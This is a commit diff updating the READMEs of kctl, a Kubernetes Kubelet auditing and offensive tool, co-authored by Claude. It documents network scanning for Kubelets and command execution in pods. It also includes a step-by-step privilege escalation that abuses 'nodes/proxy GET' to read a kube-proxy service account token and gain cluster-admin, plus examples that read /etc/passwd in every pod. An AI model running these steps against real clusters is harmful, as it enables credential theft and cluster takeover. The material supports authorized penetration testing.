Skip to content

Commit 17edf3e

Browse files
kinokopioclaude
andcommitted
docs: update README with new commands and sync EN/CN versions
- Add run, portforward, pid2pod commands documentation - Add CLI arguments (--api-server, --api-port) - Add discover output example and typical workflow - Expand attack scenario with detailed steps - Sync English and Chinese README content Co-authored-by: Claude <noreply@anthropic.com>
1 parent 035b903 commit 17edf3e

File tree

2 files changed

+233
-74
lines changed

2 files changed

+233
-74
lines changed

README.md

Lines changed: 172 additions & 55 deletions
Original file line numberDiff line numberDiff line change
@@ -69,20 +69,20 @@
6969

7070
```bash
7171
# Linux amd64
72-
curl -LO https://github.com/kinopio1101/kctl/releases/latest/download/kctl-linux-amd64
72+
curl -LO https://github.com/kinokopio/kctl/releases/latest/download/kctl-linux-amd64
7373
chmod +x kctl-linux-amd64
7474
mv kctl-linux-amd64 /usr/local/bin/kctl
7575

7676
# macOS arm64
77-
curl -LO https://github.com/kinopio1101/kctl/releases/latest/download/kctl-darwin-arm64
77+
curl -LO https://github.com/kinokopio/kctl/releases/latest/download/kctl-darwin-arm64
7878
chmod +x kctl-darwin-arm64
7979
mv kctl-darwin-arm64 /usr/local/bin/kctl
8080
```
8181

8282
### Build from Source
8383

8484
```bash
85-
git clone https://github.com/kinopio1101/kctl.git
85+
git clone https://github.com/kinokopio/kctl.git
8686
cd kctl
8787
go build -o kctl ./main/main.go
8888
```
@@ -180,6 +180,24 @@ discover 10.0.0.0/24 -p 10250,10255 -c 200
180180
discover 10.0.0.0/24 --all
181181
```
182182

183+
Output example:
184+
```
185+
[*] Scanning 10.0.0.0/24:10250 (254 targets, 100 concurrent)
186+
[========================================] 100% (254/254)
187+
[*] Validating Kubelet endpoints...
188+
189+
+-------------+-------+------------+
190+
| IP | PORT | HEALTH |
191+
+-------------+-------+------------+
192+
| 10.0.0.1 | 10250 | /healthz |
193+
| 10.0.0.5 | 10250 | /healthz |
194+
+-------------+-------+------------+
195+
196+
[+] Scan complete in 3.2s: 3 open ports, 2 Kubelet nodes
197+
[*] Use 'set target <ip>' to select target
198+
[*] Use 'show kubelets' to view cached results
199+
```
200+
183201
### ServiceAccount Operations
184202

185203
```bash
@@ -250,15 +268,164 @@ pid2pod --pid 1234
250268
pid2pod --all
251269
```
252270

271+
### Typical Workflow
272+
273+
```bash
274+
# 1. Scan network to discover Kubelet nodes
275+
kctl [default]> discover 10.0.0.0/24
276+
277+
# 2. Select target
278+
kctl [default]> set target 10.0.0.5
279+
280+
# 3. Scan SA permissions on all Pods
281+
kctl [default]> sa scan
282+
283+
# 4. View high-privilege SAs
284+
kctl [default]> sa list --admin
285+
286+
# 5. Switch to high-privilege SA
287+
kctl [default]> sa use kube-system/cluster-admin
288+
289+
# 6. View new identity permissions
290+
kctl [kube-system/cluster-admin ADMIN]> sa info
291+
292+
# 7. Execute commands with new identity
293+
kctl [kube-system/cluster-admin ADMIN]> exec -it
294+
```
295+
253296
## Attack Scenario
254297

255298
### nodes/proxy Privilege Escalation
256299

257-
The `nodes/proxy GET` permission is commonly granted to monitoring tools (Prometheus, Datadog, Grafana) but can be exploited for RCE.
300+
#### Background
301+
302+
The `nodes/proxy GET` permission is commonly granted to monitoring tools (Prometheus, Datadog, Grafana) for collecting metrics.
258303

259304
Based on [Graham Helton's research](https://grahamhelton.com/blog/nodes-proxy-rce), due to Kubelet's authorization flaw with WebSocket connections, `nodes/proxy GET` can be used to execute commands in any Pod.
260305

261-
#### Attack Flow
306+
#### Vulnerability Mechanism
307+
308+
1. WebSocket protocol requires HTTP GET for initial handshake
309+
2. Kubelet performs authorization check based on initial HTTP method (GET)
310+
3. After authorization passes, WebSocket connection can access `/exec` endpoint to execute commands
311+
4. This bypasses the `nodes/proxy CREATE` permission that should be required
312+
313+
#### Privilege Escalation with kctl
314+
315+
##### Scenario Setup
316+
317+
Assume you have access to a Pod whose ServiceAccount has `nodes/proxy GET` permission:
318+
319+
```yaml
320+
apiVersion: rbac.authorization.k8s.io/v1
321+
kind: ClusterRole
322+
metadata:
323+
name: nodes-proxy-reader
324+
rules:
325+
- apiGroups: [""]
326+
resources: ["nodes/proxy"]
327+
verbs: ["get"]
328+
```
329+
330+
##### Step 1: Enter Console and Check Permissions
331+
332+
```bash
333+
# Copy kctl to target Pod
334+
kubectl cp kctl-linux-amd64 attacker:/kctl
335+
336+
# Enter Pod
337+
kubectl exec -it attacker -- /bin/sh
338+
339+
# Run kctl
340+
/kctl console
341+
```
342+
343+
```
344+
[*] Auto-connecting to Kubelet 10.244.1.1:10250...
345+
✓ Connected successfully
346+
[+] Using ServiceAccount: default/attacker
347+
[*] Checking permissions...
348+
[+] Risk Level: HIGH
349+
350+
kctl [default/attacker HIGH]>
351+
```
352+
353+
##### Step 2: View Current Permissions
354+
355+
```
356+
kctl [default/attacker HIGH]> sa info
357+
358+
ServiceAccount Information
359+
─────────────────────────────────────────
360+
Name : attacker
361+
Namespace : default
362+
Risk Level : HIGH
363+
Token Status : Valid
364+
365+
Permissions:
366+
- nodes/proxy:get <- Key permission!
367+
- nodes:list
368+
- pods:list
369+
```
370+
371+
##### Step 3: Scan All Pods on the Node
372+
373+
```
374+
kctl [default/attacker HIGH]> sa scan
375+
376+
[*] Scanning ServiceAccount tokens...
377+
[*] Found 15 pods with SA tokens
378+
[*] Checking permissions... (3 concurrent)
379+
380+
RISK NAMESPACE POD SERVICE ACCOUNT TOKEN FLAGS
381+
─────────────────────────────────────────────────────────────────────────────────
382+
ADMIN kube-system kube-proxy-xxxxx kube-proxy Valid -
383+
ADMIN kube-system coredns-xxxxx coredns Valid -
384+
HIGH monitoring prometheus-xxxxx prometheus Valid -
385+
...
386+
387+
[+] Scan complete: 15 SAs, 2 ADMIN, 1 CRITICAL, 3 HIGH
388+
```
389+
390+
##### Step 4: Execute Commands via nodes/proxy
391+
392+
Since we have `nodes/proxy GET` permission, we can execute commands in any Pod via Kubelet API:
393+
394+
```
395+
kctl [default/attacker HIGH]> pods
396+
397+
NAMESPACE POD STATUS CONTAINERS
398+
───────────────────────────────────────────────────────────────
399+
kube-system etcd-master Running etcd
400+
kube-system kube-apiserver-master Running kube-apiserver
401+
kube-system kube-proxy-xxxxx Running kube-proxy
402+
default nginx Running nginx
403+
...
404+
```
405+
406+
```
407+
kctl [default/attacker HIGH]> exec -n kube-system kube-proxy-xxxxx -- cat /var/run/secrets/kubernetes.io/serviceaccount/token
408+
```
409+
410+
This returns the `kube-proxy` ServiceAccount token, which typically has cluster-admin privileges!
411+
412+
##### Step 5: Switch to High-Privilege Identity
413+
414+
```
415+
kctl [default/attacker HIGH]> sa use kube-system/kube-proxy
416+
417+
[+] Switched to kube-system/kube-proxy
418+
[*] Checking permissions...
419+
[!] Risk Level: ADMIN (cluster-admin)
420+
421+
kctl [kube-system/kube-proxy ADMIN]>
422+
```
423+
424+
##### Step 6: Full Cluster Control
425+
426+
Now you have cluster-admin privileges and can fully control the cluster with this token.
427+
428+
#### Attack Flow Diagram
262429

263430
```
264431
┌─────────────────────────────────────────────────────────────────┐
@@ -283,32 +450,6 @@ Based on [Graham Helton's research](https://grahamhelton.com/blog/nodes-proxy-rc
283450
└──────────────┘ └──────────────┘ └──────────────────────┘
284451
```
285452

286-
#### Step-by-Step
287-
288-
```bash
289-
# 1. Copy kctl to target Pod
290-
kubectl cp kctl-linux-amd64 attacker:/kctl
291-
292-
# 2. Enter Pod and run kctl
293-
kubectl exec -it attacker -- /bin/sh
294-
/kctl console
295-
296-
# 3. Scan all SA tokens
297-
kctl> sa scan
298-
299-
# 4. Find high-privilege SA
300-
kctl> sa list --admin
301-
302-
# 5. Execute command in system Pod to steal token
303-
kctl> exec -n kube-system kube-proxy-xxxxx -- cat /var/run/secrets/kubernetes.io/serviceaccount/token
304-
305-
# 6. Switch to high-privilege SA
306-
kctl> sa use kube-system/kube-proxy
307-
308-
# 7. Now you have cluster-admin!
309-
kctl [kube-system/kube-proxy ADMIN]>
310-
```
311-
312453
## Risk Levels
313454

314455
| Level | Description | Example Permissions |
@@ -349,30 +490,6 @@ kubectl get clusterrolebindings -o json | jq -r '
349490
done
350491
```
351492

352-
## Project Structure
353-
354-
```
355-
kctl/
356-
├── cmd/
357-
│ ├── console/ # Console command entry
358-
│ └── rootCmd.go
359-
├── internal/
360-
│ ├── console/ # Interactive console
361-
│ │ └── commands/ # Console commands
362-
│ │ └── sa/ # SA subcommands
363-
│ ├── session/ # Session state management
364-
│ ├── client/
365-
│ │ ├── kubelet/ # Kubelet API client
366-
│ │ └── k8s/ # K8s API client
367-
│ ├── db/ # SQLite in-memory database
368-
│ └── rbac/ # Permission analysis
369-
├── pkg/
370-
│ ├── network/ # Network utilities (scanner)
371-
│ ├── token/ # JWT token parsing
372-
│ └── types/ # Type definitions
373-
└── config/ # Configuration
374-
```
375-
376493
## Disclaimer
377494

378495
- This tool is intended for **authorized security assessments and penetration testing only**

README.zh-CN.md

Lines changed: 61 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -54,6 +54,9 @@ kctl 是一个轻量级的 Kubernetes 安全审计工具,专门针对 Kubelet
5454
# 指定目标进入
5555
./kctl console -t 10.0.0.1
5656

57+
# 完整连接参数
58+
./kctl console -t 10.0.0.1 -p 10250 --token "eyJ..." --api-server 10.0.0.1 --api-port 6443
59+
5760
# 使用代理
5861
./kctl console -t 10.0.0.1 --proxy socks5://127.0.0.1:1080
5962
```
@@ -103,7 +106,10 @@ kctl [default/attacker CRITICAL]>
103106
| `sa use <ns/name>` | 切换到指定的 SA |
104107
| `sa info` | 显示当前 SA 详情 |
105108
| `pods` | 列出节点上的 Pod |
106-
| `exec` | 在 Pod 中执行命令 |
109+
| `exec` | 在 Pod 中执行命令(WebSocket) |
110+
| `run` | 在 Pod 中执行命令(/run API) |
111+
| `portforward` | 端口转发到 Pod |
112+
| `pid2pod` | 将 PID 映射到 Pod(仅 Pod 内) |
107113
| `set <key> <value>` | 设置配置项 |
108114
| `show options` | 显示当前配置 |
109115
| `show status` | 显示会话状态 |
@@ -173,6 +179,60 @@ sa use kube-system/cluster-admin
173179
sa info
174180
```
175181

182+
### exec 命令 - 命令执行
183+
184+
通过 Kubelet API 在 Pod 中执行命令:
185+
186+
```bash
187+
# 交互式 shell(WebSocket)
188+
exec -it nginx-pod
189+
190+
# 在指定 Pod 执行命令
191+
exec nginx-pod -- cat /etc/passwd
192+
193+
# 在所有 Pod 中执行
194+
exec --all-pods -- whoami
195+
196+
# 排除指定命名空间
197+
exec --all-pods --filter-ns kube-system -- id
198+
199+
# 使用 /run API(更简单,无需 WebSocket)
200+
run nginx-pod --cmd "cat /etc/passwd"
201+
202+
# 在所有 Pod 中执行
203+
run --all-pods --cmd "hostname"
204+
```
205+
206+
### portforward 命令 - 端口转发
207+
208+
通过 Kubelet API 进行端口转发:
209+
210+
```bash
211+
# 将本地 8080 端口转发到 Pod 的 80 端口
212+
portforward nginx-pod 8080:80
213+
214+
# 指定监听地址
215+
portforward nginx-pod 8080:80 --address 0.0.0.0
216+
217+
# 停止端口转发
218+
pf stop
219+
```
220+
221+
### pid2pod 命令 - PID 映射(仅 Pod 内)
222+
223+
将 Linux 进程 ID 映射到 Kubernetes Pod 元数据:
224+
225+
```bash
226+
# 显示所有容器进程及其 Pod 信息
227+
pid2pod
228+
229+
# 查看指定 PID
230+
pid2pod --pid 1234
231+
232+
# 显示所有进程(包括非容器进程)
233+
pid2pod --all
234+
```
235+
176236
### 典型工作流程
177237

178238
```bash
@@ -381,24 +441,6 @@ kubectl get clusterrolebindings -o json | jq -r '
381441
done
382442
```
383443

384-
## 命令行参数
385-
386-
```
387-
Usage:
388-
kctl console [flags]
389-
390-
Flags:
391-
-t, --target string Kubelet IP 地址
392-
-p, --port int Kubelet 端口 (default 10250)
393-
--token string Token 字符串
394-
--token-file string Token 文件路径
395-
--proxy string SOCKS5 代理地址
396-
-h, --help help for console
397-
398-
Global Flags:
399-
--logLevel string 日志等级 (default "info")
400-
```
401-
402444
## 风险等级说明
403445

404446
| 等级 | 说明 | 示例权限 |

0 commit comments

Comments
 (0)